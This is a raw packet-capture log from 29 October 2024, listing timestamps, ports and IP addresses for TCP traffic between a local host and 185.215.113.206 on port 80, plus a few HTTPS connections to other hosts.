Oct 29, 2024 20:35:20.678268909 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.678281069 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.678287029 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.678390026 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.678390026 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.678406000 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.678459883 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.678589106 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.678599119 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.678606033 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.678617954 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.678628922 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.678646088 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.678664923 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.678678036 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.678688049 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.678689003 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.678700924 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.678714037 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.678724051 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.678735971 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.678749084 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.678749084 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.678795099 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.678796053 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.678796053 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.678832054 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.678852081 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.678863049 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.678891897 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.678905010 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.678915977 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.678927898 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.678929090 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.678929090 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.678966045 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.678977966 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.678980112 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.678980112 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.678992033 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679008007 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679019928 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679039955 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.679066896 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.679183006 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679195881 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679208040 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679222107 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679235935 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679249048 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679251909 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.679251909 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.679286003 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.679455996 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679466963 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679476976 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679491997 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.679511070 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679523945 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679537058 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679544926 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.679544926 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.679549932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679563046 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679577112 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679578066 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.679626942 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.679626942 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.679631948 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679642916 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679665089 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679685116 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679696083 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.679696083 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.679697037 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679708958 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679721117 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679771900 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.679771900 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.679771900 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.679907084 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679919958 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679932117 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679944038 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679956913 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679970026 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.679995060 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680013895 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680020094 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.680020094 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.680020094 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.680027962 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680043936 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680052042 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.680058002 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680071115 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680083990 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680098057 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680110931 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.680110931 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680110931 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.680152893 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.680152893 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.680156946 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680169106 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680181026 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680202961 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680217028 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680221081 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.680252075 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.680299044 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680324078 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680341005 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680341959 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.680341959 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.680370092 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680397034 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680408001 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680421114 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680433989 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.680433989 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.680433989 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.680515051 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.680694103 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680753946 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.680757046 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680771112 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680785894 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680799007 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.680839062 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.680839062 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.681633949 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.681691885 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.681709051 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.681721926 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.681735039 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.681747913 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.681760073 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.681777000 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.681777000 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.681788921 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.681799889 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.681811094 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.681826115 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.681838036 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.681845903 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.681849957 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.681860924 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.681874037 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.681885958 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.681899071 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.681899071 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.681900024 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.681915045 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.681936026 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.681960106 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.681967974 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.681979895 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.681993008 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682007074 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682020903 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682029009 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.682033062 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682046890 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682058096 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682070017 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682090044 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.682090044 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.682090044 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.682091951 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682111025 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682121992 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682148933 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.682148933 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.682148933 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.682159901 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682172060 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682182074 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.682183981 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682195902 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682208061 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682220936 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682235003 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.682235003 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.682241917 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.682280064 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.682400942 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682413101 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682425022 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682523966 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.682624102 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682635069 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682646990 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682661057 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682703972 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682714939 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.682715893 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682714939 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.682728052 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682739019 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682751894 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682764053 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.682787895 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.682787895 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.682787895 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.682809114 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.683303118 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.683331013 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.683341980 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.683352947 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.683365107 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.683373928 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.683377028 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.683392048 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.683398008 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.683406115 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.683424950 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.683450937 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.683450937 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.683450937 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.683706045 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.743732929 CET	49912	443	192.168.2.5	131.253.33.203
Oct 29, 2024 20:35:20.743777990 CET	443	49912	131.253.33.203	192.168.2.5
Oct 29, 2024 20:35:20.743865013 CET	49912	443	192.168.2.5	131.253.33.203
Oct 29, 2024 20:35:20.744494915 CET	49913	443	192.168.2.5	20.75.60.91
Oct 29, 2024 20:35:20.744554043 CET	443	49913	20.75.60.91	192.168.2.5
Oct 29, 2024 20:35:20.744695902 CET	49912	443	192.168.2.5	131.253.33.203
Oct 29, 2024 20:35:20.744714022 CET	443	49912	131.253.33.203	192.168.2.5
Oct 29, 2024 20:35:20.744729042 CET	49913	443	192.168.2.5	20.75.60.91
Oct 29, 2024 20:35:20.744882107 CET	49913	443	192.168.2.5	20.75.60.91
Oct 29, 2024 20:35:20.744898081 CET	443	49913	20.75.60.91	192.168.2.5
Oct 29, 2024 20:35:20.774054050 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:20.774091959 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:20.774250984 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:20.774457932 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:20.774467945 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:20.838830948 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.838852882 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.838865995 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.838877916 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.838891029 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.838915110 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.838927984 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.838946104 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.838958025 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.838968039 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.838989973 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.838989973 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.838989973 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.838992119 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.839015007 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.839075089 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.839282990 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.839294910 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.839307070 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.839354992 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.839359999 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.839404106 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.839410067 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.839410067 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.839417934 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.839430094 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.839437008 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.839442015 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.839452982 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.839463949 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.839476109 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.839489937 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.839503050 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.839503050 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.839657068 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.839657068 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.839922905 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.839935064 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.839946032 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.839958906 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840023041 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.840023041 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.840029001 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840042114 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840055943 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840065956 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840095997 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.840096951 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.840096951 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.840244055 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840255022 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840265036 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840276957 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840311050 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840315104 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.840325117 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840338945 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.840339899 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840361118 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840373993 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840387106 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840398073 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840404034 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.840404034 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.840409994 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840442896 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840444088 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.840450048 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840456009 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840462923 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840467930 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840473890 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840481997 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840488911 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840503931 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840517044 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840528011 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840540886 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840554953 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840555906 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.840568066 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.840579987 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.840579987 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.840612888 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.841192961 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841217995 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841229916 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841240883 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841254950 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841267109 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841278076 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841284037 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.841299057 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841316938 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841325045 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.841329098 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841341019 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841353893 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841367006 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841368914 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.841382980 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841406107 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.841438055 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841449976 CET	80	49863	185.215.113.206	192.168.2.5
